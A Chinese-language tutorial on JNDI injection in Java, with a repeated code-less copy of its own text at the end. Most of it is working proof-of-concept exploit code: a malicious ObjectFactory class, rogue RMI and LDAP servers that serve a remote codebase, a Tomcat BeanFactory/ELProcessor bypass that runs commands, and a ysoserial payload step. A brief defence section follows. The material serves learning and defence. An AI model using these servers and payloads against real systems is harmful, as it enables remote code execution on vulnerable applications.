站在大佬肩膀上学JNDI注入
字数 1277 2025-08-15 21:31:52

JNDI注入攻击原理与利用详解

0x00 RMI基础与攻击原理

RMI基本概念

RMI(Remote Method Invocation)是Java中的远程方法调用机制,允许在不同Java虚拟机上的对象之间进行通信。JNDI(Java Naming and Directory Interface)提供了统一的接口来访问各种命名和目录服务,包括RMI。

攻击原理

JNDI注入的核心在于lookup()方法加载远程恶意类。当客户端调用ctx.lookup(uri)时,如果URI可控,攻击者可以构造恶意RMI或LDAP服务,诱导客户端加载并执行恶意代码。

攻击Demo分析

恶意类实现

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {}
    }
    
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        try {
            Runtime rt = Runtime.getRuntime();
            Process pc = rt.exec("calc.exe");
            pc.waitFor();
        } catch (Exception e) {}
        return null;
    }
}

RMI服务端实现

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class listener {
    public static void main(String[] args) throws Exception {
        System.setProperty("java.rmi.server.hostname","192.168.154.131");
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference aa = new Reference("Calc","Calc","http://192.168.154.131:8081/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
        registry.bind("hello",refObjWrapper);
    }
}

受害者客户端

import javax.naming.Context;
import javax.naming.InitialContext;

public class demo {
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            String uri = "rmi://192.168.154.131:1099/hello";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

关键点分析

  1. Reference类构造时指定了类名和codebase URL
  2. 客户端调用lookup()时会从指定URL下载并加载类
  3. 恶意类实现了ObjectFactory接口,在静态代码块和getObjectInstance方法中都插入了恶意代码
  4. 需要设置com.sun.jndi.rmi.object.trustURLCodebase=true(JDK高版本默认false)

0x01 LDAP攻击方式

LDAP攻击原理

LDAP服务可以描述Java对象,通过返回一个恶意的JNDI Reference响应,诱导客户端加载远程类。

LDAP服务端实现

public class Ldap {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] args) {
        String[] args = new String[]{"http://127.0.0.1:8081/#Calc", "9999"};
        int port = Integer.parseInt(args[1]);
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", InetAddress.getByName("0.0.0.0"), port,
                ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));
            
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }
        
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
            throws Exception {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/') + ".class");
            
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

受害者客户端

public class demo {
    public static void main(String[] args) {
        try {
            System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
            String uri = "ldap://192.168.154.129:9999/calc";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

0x02 高版本JDK绕过技术

高版本限制

JDK 6u132、7u122、8u113及以上版本默认将com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.ldap.object.trustURLCodebase设置为false,禁止从远程codebase加载类。

利用本地类绕过

可以利用存在于目标classpath中的类进行攻击,如Tomcat中的org.apache.naming.factory.BeanFactory

攻击原理

  1. BeanFactory用于创建JavaBeans
  2. 通过forceString属性可以强制调用特定方法
  3. 结合javax.el.ELProcessoreval()方法执行EL表达式

恶意RMI服务端实现

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1097);
        
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", 
            true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", 
            "getClass().forName(\"javax.script.ScriptEngineManager\")" +
            ".newInstance().getEngineByName(\"JavaScript\")" +
            ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])']" +
            "(['calc.exe']).start()\")"));
            
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

利用序列化数据绕过

当目标环境存在反序列化漏洞时,可以通过LDAP返回序列化数据触发漏洞。

攻击步骤

  1. 使用ysoserial生成CC链payload:
    java -jar ysoserial.jar CommonsCollections5 calc.exe > poc.txt
    
  2. 将payload转换为Base64编码
  3. 修改LDAP服务器返回序列化数据
  4. 客户端访问恶意LDAP服务触发反序列化

0x03 防御措施

  1. 升级JDK到最新版本
  2. 避免使用不可信的JNDI查找
  3. 设置JVM系统属性限制远程类加载:
    -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
    
  4. 使用安全管理器限制敏感操作
  5. 对用户输入进行严格过滤和校验

参考链接

  1. JNDI注入知识详解
  2. JNDI注入限制与绕过
  3. Exploiting JNDI Injections in Java
  4. JNDI-Exploit-Bypass-Demo
JNDI注入攻击原理与利用详解 0x00 RMI基础与攻击原理 RMI基本概念 RMI(Remote Method Invocation)是Java中的远程方法调用机制,允许在不同Java虚拟机上的对象之间进行通信。JNDI(Java Naming and Directory Interface)提供了统一的接口来访问各种命名和目录服务,包括RMI。 攻击原理 JNDI注入的核心在于 lookup() 方法加载远程恶意类。当客户端调用 ctx.lookup(uri) 时,如果URI可控,攻击者可以构造恶意RMI或LDAP服务,诱导客户端加载并执行恶意代码。 攻击Demo分析 恶意类实现 : RMI服务端实现 : 受害者客户端 : 关键点分析 Reference 类构造时指定了类名和codebase URL 客户端调用 lookup() 时会从指定URL下载并加载类 恶意类实现了 ObjectFactory 接口,在静态代码块和 getObjectInstance 方法中都插入了恶意代码 需要设置 com.sun.jndi.rmi.object.trustURLCodebase=true (JDK高版本默认false) 0x01 LDAP攻击方式 LDAP攻击原理 LDAP服务可以描述Java对象,通过返回一个恶意的JNDI Reference响应,诱导客户端加载远程类。 LDAP服务端实现 受害者客户端 0x02 高版本JDK绕过技术 高版本限制 JDK 6u132、7u122、8u113及以上版本默认将 com.sun.jndi.rmi.object.trustURLCodebase 和 com.sun.jndi.ldap.object.trustURLCodebase 设置为false,禁止从远程codebase加载类。 利用本地类绕过 可以利用存在于目标classpath中的类进行攻击,如Tomcat中的 org.apache.naming.factory.BeanFactory 。 攻击原理 BeanFactory 用于创建JavaBeans 通过 forceString 属性可以强制调用特定方法 结合 javax.el.ELProcessor 的 eval() 方法执行EL表达式 恶意RMI服务端实现 利用序列化数据绕过 当目标环境存在反序列化漏洞时,可以通过LDAP返回序列化数据触发漏洞。 攻击步骤 使用ysoserial生成CC链payload: 将payload转换为Base64编码 修改LDAP服务器返回序列化数据 客户端访问恶意LDAP服务触发反序列化 0x03 防御措施 升级JDK到最新版本 避免使用不可信的JNDI查找 设置JVM系统属性限制远程类加载: 使用安全管理器限制敏感操作 对用户输入进行严格过滤和校验 参考链接 JNDI注入知识详解 JNDI注入限制与绕过 Exploiting JNDI Injections in Java JNDI-Exploit-Bypass-Demo